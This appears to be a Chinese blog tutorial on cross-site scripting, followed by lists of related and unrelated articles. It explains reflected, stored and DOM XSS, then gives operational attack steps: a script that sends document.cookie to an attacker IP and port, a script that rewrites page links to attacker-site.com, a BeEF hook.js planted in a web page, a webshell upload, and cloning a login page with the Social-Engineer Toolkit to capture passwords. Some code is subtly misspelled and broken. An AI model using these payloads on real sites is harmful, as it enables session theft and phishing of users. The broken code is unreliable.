将跨站脚本攻击缩写为XSS,恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面的时候,嵌入其中的Web里面的Script代码就会被执行,从而达到恶意攻击用户的目的。

反射型XSS

反射型Xss是非持久的,只具有一次性:攻击者通过邮件等形式将包含XSS代码的链接发送给正常用户,当用户点击时,服务器接受该用户的请求并进行处理,然后把带有XSS的代码发送给用户。用户浏览器解析执行代码,触发XSS漏洞.

PHP:
<?php echo $_GET['uname'];?>

当用户访问url/?uname=<script>alert(document.cookie)</script>,触发代码,弹出会话框

存储型XSS

存储型Xss是持久性的,攻击脚本存储在目标服务器的数据库中,具有更强的隐蔽性。攻击者在论坛,博客,留言板中,发帖的过程中嵌入XSS攻击代码,帖子被目标服务器存储在数据库中,当用户正常访问时,触发XSS代码

DOM型XSS

使用DOM动态访问更新文档内容、结构或样式。

HTML标签都是节点,节点组成了节点树。通过HTML DOM 可以对树上的所有节点进行修改。

服务器响应不会处理攻击者脚本,而是用户浏览器处理这个响应,DOM对象就会处理XSS代码,触发XSS漏洞。

Cookie:

Cookie是依据HTTP协议,服务器或脚本可以维护客户工作站上信息的一种方式。Cookie是由Web服务器保存在用户浏览器(客户端上的)一个小文本,它可以包含有关用户的信息。

临时Cookie:只在浏览器上保存一段规定的时间,一旦超过规定的时间,该Cookie就会被系统清除。

服务器可以利用Cookies包含信息的任意性来筛选并经常维护这些信息,以判断在HTTP传输中的状态。

Cookies最典型的应用是判定注册用户是否已经登陆过网站,保留用户信息可以简化下一次登陆网站。此外购物车,用户可能在一段时间内同一家网站的不同页面选择不同的商品,这些信息都会被写入Cookies,以便在最后付款时提取信息。

发射XSS盗取Cookie,

存在反射型XSS漏洞的站点位置,可以利用以下链接来盗取Cookie

<script> var img=document.createElment("img"); img.src="http://ip:port/a?"+escape(document.cookie); </script>

进入后台寻找上传点,进一步利用漏洞给上传一句话Webshell(中国菜刀)。

XSS篡改网页链接

window.onload当窗口加载时,执行匿名函数:

使用for循环遍历所有获得的链接a标签

<script> window.onload=function(){/*匿名函数*/ var link=document.getElmentsByTagName("a"); for(j=0;j<link.length;j++) { link[j].href="http://attacker-site.com/"; } } </script>

思考:XSS漏洞的本质是网页提供给了用户可交互代码接口,继而用户可以通过这个接口实现对网页的破坏。

通过XSS可以篡改流量URL

篡改链接执行恶意URL

Beef进行恶意链接生成,以及利用hook.js执行其他命令

Beef的用户名和密码都是Beef

恶意攻击代码:

<script src="http://192.168.253.28:3000/hook.js"></script>

操作流程:

kali环境下运行beef:
beef-xss //开启beef
/*获取到hook:<script src="http://<IP>:3000.hook.js"></script>*/
service apache2 start //开启阿帕奇服务
cd /var/www/html //var:可变动文件夹系统运行后逐渐占用硬盘容量的目录
vi index.html
将恶意攻击代码放入里面

XSS盗取用户信息

原理:首先要克隆网站的登陆页面,利用存储型XSS设置跳转代码,如果用户访问即跳转到克隆网址的登陆页面,用户输入登陆,账户和密码被存储。

当用户访问的网站具有XSS漏洞的时候,我们可以利用存储型XSS对网页进行篡改,当用户访问页面时就会进入到克隆站点的登陆界面。

Setookit工具克隆网站

首先控制台输入
setookit
进入操作后
选择1
选择2
选择3
选择2 站点克隆
使用对应网卡的IP地址直接回车,对我们需要克隆的URL进行输入
完成克隆后本地网页index.html即为监听网页,同时控制台会对其进行监听

XSS跨站脚本攻击(1)的更多相关文章

  1. 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范

    昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...

  2. XSS跨站脚本攻击实例讲解,新浪微博XSS漏洞过程分析

    2011年6月28日晚,新浪微博遭遇到XSS蠕虫攻击侵袭,在不到一个小时的时间,超过3万微博用户受到该XSS蠕虫的攻击.此事件给严重依赖社交网络的网友们敲响了警钟.在此之前,国内多家著名的SNS网站和 ...

  3. xss(跨站脚本攻击),crsf(跨站请求伪造),xssf

    我们常说的网络安全其实应该包括以下三方面的安全: 1.机密性,比如用户的隐私被窃取,帐号被盗,常见的方式是木马. 2.完整性,比如数据的完整,举个例子,康熙传位十四子,被当时四阿哥篡改遗诏:传位于四子 ...

  4. PHP漏洞全解(四)-xss跨站脚本攻击

    本文主要介绍针对PHP网站的xss跨站脚本攻击.跨站脚本攻击是通过在网页中加入恶意代码,当访问者浏览网页时恶意代码会被执行或者通过给管理员发信息 的方式诱使管理员浏览,从而获得管理员权限,控制整个网站 ...

  5. JAVA覆写Request过滤XSS跨站脚本攻击

    注:本文非本人原著. demo的地址:链接:http://pan.baidu.com/s/1miEmHMo 密码:k5ca 如何过滤Xss跨站脚本攻击,我想,Xss跨站脚本攻击令人为之头疼.为什么呢. ...

  6. xss跨站脚本攻击及xss漏洞防范

    xss跨站脚本攻击(Cross Site Scripting,因与css样式表相似故缩写为XSS).恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Scrip ...

  7. PHP进行安全字段和防止XSS跨站脚本攻击过滤(通用版)

    废话不多说,直接贴使用方法和代码: 使用方式:1)写在公共方法里面,随时调用即可.2)写入类文件,使用是include_once 即可 代码: /* 进行安全字段和xss跨站脚本攻击过滤(通用版) - ...

  8. 初窥XSS跨站脚本攻击

    XSS跨站脚本攻击的分类 一. 反射型XSS跨站脚本攻击 二. 存储型XSS跨站脚本攻击 三. 基于DOM的XSS跨站脚本攻击 1.反射性XSS 经过后端,不经过数据库 2.储存型XSS 经过后端,经 ...

  9. web应用程序安全攻防---sql注入和xss跨站脚本攻击

    kali视频学习请看 http://www.cnblogs.com/lidong20179210/p/8909569.html 博文主要内容包括两种常见的web攻击 sql注入 XSS跨站脚本攻击 代 ...

  10. spring-boot-plus XSS跨站脚本攻击处理

    XSS跨站脚本攻击处理 XSS:Cross Site Scripting 跨站脚本攻击(XSS),是目前最普遍的Web应用安全漏洞.这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当 ...

随机推荐

  1. 小白搭建WNMP详细教程---PHP安装与设置

    php的安装请参考WAMP中PHP的安装教程https://www.cnblogs.com/missbye/p/12049925.html 需要注意的是,我们下载的PHP版本要下载Non Thread ...

  2. leetcode常见问题

    开学了 开始每日刷leetcode了  ,开一个新分类记录做题过程和心得. 1.出现本地调试无问题但提交后报错时,很有可能是全局变量导致的,解决办法 (1).尽量写成局部变量,函数尽量传参进入. (2 ...

  3. 2019牛客多校 Round9

    Solved:3 Rank:181 H Cutting Bamboos 这个东西好像叫整体二分 #include <bits/stdc++.h> using namespace std; ...

  4. Educational Codeforces Round 89 (Rated for Div. 2) A. Shovels and Swords(贪心/数学)

    题目链接:https://codeforces.com/contest/1366/problem/A 题意 有两个数 $a$ 和 $b$,每次可以选择从一个数中取 $2$,另一个数中取 $1$,问最多 ...

  5. 2019牛客暑期多校训练营(第三场)B题、H题

    传送门 题意: 就是说给你一个由0或1组成的字符串,让你找出来一个0的数量和1的数量相等的最长子字符串和最长子序列 题解: 可以把0当作-1,把1当作1来计算字符串的前缀和 这样的话,当两个位置的前缀 ...

  6. Codeforces Round #594 (Div. 2) C. Ivan the Fool and the Probability Theory (思维,递推)

    题意:给你一个\(n\)x\(m\)的矩阵,需要在这些矩阵中涂色,每个格子可以涂成黑色或者白色,一个格子四周最多只能有\(2\)个和它颜色相同的,问最多有多少种涂色方案. 题解:首先我们考虑一维的情况 ...

  7. CodeForces - 721C 拓扑排序+dp

    题意: n个点m条边的图,起点为1,终点为n,每一条单向边输入格式为: a,b,c     //从a点到b点耗时为c 题目问你最多从起点1到终点n能经过多少个不同的点,且总耗时小于等于t 题解: 这道 ...

  8. poj2411 Mondriaan's Dream (用1*2的矩形铺)

    Description Squares and rectangles fascinated the famous Dutch painter Piet Mondriaan. One night, af ...

  9. Codeforces Round #650 (Div. 3) C. Social Distance (前缀和)

    题意:有一排座位,要求每人之间隔\(k\)个座位坐,\(1\)代表已做,\(0\)代表空座,问最多能坐几人. 题解:我们分别从前和从后跑个前缀和,将已经有人坐的周围的位置标记,然后遍历求每一段连续的\ ...

  10. Codeforces Round #515 (Div. 3) C. Books Queries (模拟)

    题意:有一个一维的书架,\(L\)表示在最左端放一本书,\(R\)表示在最右端放一本书,\(?\)表示从左数或从右数,最少数多少次才能得到要找的书. 题解:我们开一个稍微大一点的数组,从它的中间开始模 ...